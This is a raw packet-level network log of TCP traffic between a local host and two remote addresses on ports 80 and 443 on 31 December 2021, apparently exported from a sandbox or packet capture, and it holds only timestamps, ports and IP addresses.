Dec 31, 2021 19:12:58.444138050 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.444175005 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.444215059 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.444221020 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.444253922 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.444256067 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.444291115 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.444334030 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.444459915 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.445823908 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.458705902 CET	80	49818	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.458826065 CET	49818	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.458870888 CET	49818	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.481597900 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.481657028 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.481705904 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.481746912 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.481774092 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.481925011 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.481971025 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482012033 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482028961 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482053041 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482094049 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482108116 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482136965 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482175112 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482180119 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482197046 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482217073 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482229948 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482259035 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482270956 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482299089 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482311964 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482342005 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482348919 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482382059 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.482393980 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482424974 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.482810020 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.483993053 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.484067917 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.484308958 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.486810923 CET	49819	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.492873907 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.492927074 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.492968082 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.492981911 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493000031 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493007898 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493036032 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493048906 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493065119 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493088007 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493097067 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493128061 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493155956 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493166924 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493206024 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493221998 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493246078 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493249893 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493287086 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493299961 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493325949 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493334055 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493366957 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493406057 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493406057 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493443012 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493477106 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493480921 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493483067 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493509054 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493520975 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493544102 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493560076 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493572950 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493601084 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493604898 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493638039 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493649960 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493678093 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493704081 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493716955 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493746042 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493756056 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493788958 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493804932 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493817091 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493846893 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493865967 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493885994 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493897915 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.493932009 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493969917 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.493980885 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494009972 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494014025 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494050980 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494065046 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494090080 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494117975 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494129896 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494131088 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494168997 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494174004 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494206905 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494211912 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494246006 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494250059 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494285107 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494321108 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494323015 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494327068 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494364023 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494400978 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494426966 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494437933 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494441986 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494482040 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494513035 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494519949 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494537115 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494566917 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494568110 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494607925 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494647026 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494654894 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494688034 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494724989 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494735956 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494764090 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494769096 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494805098 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494841099 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494852066 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494879961 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494919062 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494925976 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494957924 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.494963884 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.494997978 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495033979 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495044947 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495073080 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495110989 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495121956 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495152950 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495182037 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495192051 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495203972 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495233059 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495260000 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495273113 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495285034 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495315075 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495316982 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495351076 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495363951 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495392084 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495398045 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495430946 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495467901 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495479107 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495507002 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495518923 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495547056 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495563984 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495587111 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495594025 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495628119 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495663881 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495677948 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495702982 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495713949 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495743036 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495754957 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495779991 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495790958 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495820045 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495825052 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495857954 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495892048 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495896101 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.495902061 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.495946884 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.507410049 CET	80	49818	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.527509928 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.535432100 CET	80	49819	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.536010981 CET	49819	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.536171913 CET	49819	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.536199093 CET	49819	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.567589045 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.585052013 CET	80	49819	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.609062910 CET	80	49819	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.609105110 CET	80	49819	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.609246016 CET	49819	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.609376907 CET	49819	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.653460979 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.653513908 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.653948069 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.654228926 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.654249907 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.659817934 CET	80	49819	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.705112934 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.705229998 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.707591057 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.707624912 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.707901001 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.733690977 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.765974998 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766179085 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766241074 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766323090 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766365051 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.766393900 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766441107 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766444921 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.766510010 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.766534090 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766613960 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766681910 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766685009 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.766701937 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766757965 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.766773939 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766884089 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.766953945 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767025948 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767055035 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767075062 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767085075 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767139912 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767206907 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767271042 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767272949 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767293930 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767354012 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767369032 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767430067 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767482042 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767496109 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767510891 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767570972 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767575979 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767591000 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767659903 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767674923 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767735004 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767792940 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767793894 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767812967 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767877102 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.767904997 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.767963886 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768019915 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768026114 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.768038988 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768099070 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.768112898 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768171072 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768199921 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.768213034 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768265009 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768318892 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.768325090 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768345118 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768398046 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.768410921 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768482924 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.768549919 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.768563032 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.771989107 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.784137011 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.784240961 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.784249067 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.784292936 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.784320116 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.784327984 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.784398079 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.784403086 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.784423113 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.784476995 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.784491062 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785250902 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785334110 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785335064 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785357952 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785403013 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785418034 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785537004 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785613060 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785617113 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785635948 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785685062 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785703897 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785758972 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785831928 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785841942 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785859108 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.785906076 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785918951 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.785985947 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.786056042 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.786073923 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.786144018 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.786210060 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.786283970 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.786288023 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.786307096 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.786350965 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.786364079 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.786436081 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.786514997 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.786626101 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.786701918 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.794956923 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.802258015 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802364111 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802397966 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802455902 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.802499056 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802526951 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.802532911 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.802535057 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802615881 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.802619934 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802642107 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802696943 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.802706957 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802726984 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802767038 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.802783966 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.802793980 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802814007 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802861929 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.802889109 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.802951097 CET	49820	443	192.168.2.3	162.159.133.233
